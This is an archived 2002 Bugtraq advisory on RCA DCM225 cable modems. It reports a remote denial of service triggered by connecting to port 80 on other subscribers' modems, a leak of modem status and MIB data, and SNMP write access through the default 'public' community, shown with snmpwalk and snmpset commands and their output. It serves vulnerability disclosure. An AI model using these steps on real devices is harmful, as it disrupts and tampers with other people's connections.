[24851] in bugtraq
RCA cable modem Deny of Service
daemon@ATHENA.MIT.EDU (Gabriel A. Maggiotti)
Wed Mar 27 16:23:43 2002
Message-ID: <3CA11FE4.5DC743F1@ciudad.com.ar>
Date: Tue, 26 Mar 2002 22:27:00 -0300
From: "Gabriel A. Maggiotti" <gmaggiot@ciudad.com.ar>
Reply-To: gmaggiot@ciudad.com.ar
MIME-Version: 1.0
To: research-list@qb0x.net, bugtraq@securityfocus.com
Content-Type: multipart/mixed;
boundary="------------E26AEB04971D51EB2E59E7D4"
--------------E26AEB04971D51EB2E59E7D4
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
--------------E26AEB04971D51EB2E59E7D4
Content-Type: text/plain; charset=us-ascii;
name="RCA_cablemodem.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="RCA_cablemodem.txt"
------------------------------------------------------------------------------
Web: http://qb0x.net Author: Gabriel A. Maggiotti
Date: March 26, 2002 E-mail: gmaggiot@ciudad.com.ar
------------------------------------------------------------------------------
General Info
------------
Problem Type : deny of service, misconfiguration and leak of information
Vendor : www.rca.com
Product : RCA cablemodems
Model : DCM225 (perhaps others)
Scope : Remote
Risk : High
Summary:
-------
The RCA Digital Cable Modem serves as a two-way high-speed bridge between your
personal computer and a cable Internet Service Provider (ISP). i It converts
information that originates from the Internet or your computer into electronic
messages that can be transported over the same wires your cable company uses to
transport video signals.
Problem:
-------
1- Deny of Service:
The RCA cable modem has two devices, the one for local connection is 192
.168.100.1 . This device is used for information request about the status of
the cable. The other device is 10.x.x.x and gives the same information.
If you connect to the second device (10.x.x.x) on port 80, RCA cable
modem reset the user connection with inet. I proved it with my own wan ip 10.1.1
.x and with other cablemodem users IP's in the same wan. All of them reset
when I remotly connect to port 80 of the cablemodems.
2- Leak of Information:
I can connect to the wan IP 10.x.x.x of any cablemodem user in my node,
and take a look at the users cablemodem status information such as:
USB: Inactive
Ethernet: 100
BaseT
MAC Address: 00 10 95 0a 05 62
User: Active
Signal Acquired at 573 MHz
SNR: 36.0 dB
Received Signal Strength: -4.0 dBmV
Micro-Reflections: 20 dBc
Connection: Acquired
Frequency: 37 MHz
Power Level: 44.0 dBmV
Channel ID: 4
Number of user conected: 1
I can dump user cablemodem MIB's too.
I can search in MIB table looking for my node server. I know that the
node IP start with 10.x.x.x and I started to search in the MIB Ops, a found
it!
69.1.4.2.0 = IpAddress: 10.20.250.1
69.1.4.3.0 = IpAddress: 10.20.250.1
69.1.4.4.0 = IpAddress: 10.20.250.1
69.1.4.5.0 = "docsis_light_avalos"
And then I recognize the word "avalos" becouse is the name of the street
where the node fisicaly is.
3- Misconfiguration cause you can write my own MIB table. Take a look:
<quote>
[gabi@pluto gabi]$ snmpwalk 192.168.100.1 public
system.sysDescr.0 = RCA DCM225 Cable Modem serial no. 65731049496572,
HW_Version 025 (03.1), SW_Version ST05.14.00, Bootloader_Ver 11.1, OS: PSOS
2.5.0
system.sysObjectID.0 = OID: enterprises.2863.225.25.5.20.0
system.sysUpTime.0 = Timeticks: (141857) 0:23:38.57
system.sysContact.0 = unassigned sysContact
system.sysName.0 =
system.sysLocation.0 =
system.sysServices.0 = 79
[gabi@pluto gabi]$ snmpset 192.168.100.1 public system.sysName.0 s lame
system.sysName.0 = lame
[gabi@pluto gabi]$ snmpset 192.168.100.1 public system.sysLocation.0 s
lame_cyty
system.sysName.0 = lame_city
[gabi@pluto gabi]$ snmpwalk 192.168.100.1 public
system.sysDescr.0 = RCA DCM225 Cable Modem serial no. 65731049496572,
HW_Version 025 (03.1), SW_Version ST05.14.00, Bootloader_Ver 11.1, OS: PSOS
2.5.0
system.sysObjectID.0 = OID: enterprises.2863.225.25.5.20.0
system.sysUpTime.0 = Timeticks: (161396) 0:26:53.96
system.sysContact.0 = unassigned sysContact
system.sysName.0 = lame
system.sysLocation.0 = lame_city
system.sysServices.0 = 79
</quote>
------------------------------------------------------------------------------
research-list@qb0x.net is dedicated to interactively researching vulnerab-
ilities, report potential or undeveloped holes in any kind of computer system.
To subscribe to research-list@qb0x.ne t send a blank email to
research-list-subscribe@qb0x.net. More help available sending an email
to research-list-help@qb0x.net.
Note: the list doesn't allow html, it will be stripped from messages.
------------------------------------------------------------------------------
--------------E26AEB04971D51EB2E59E7D4--
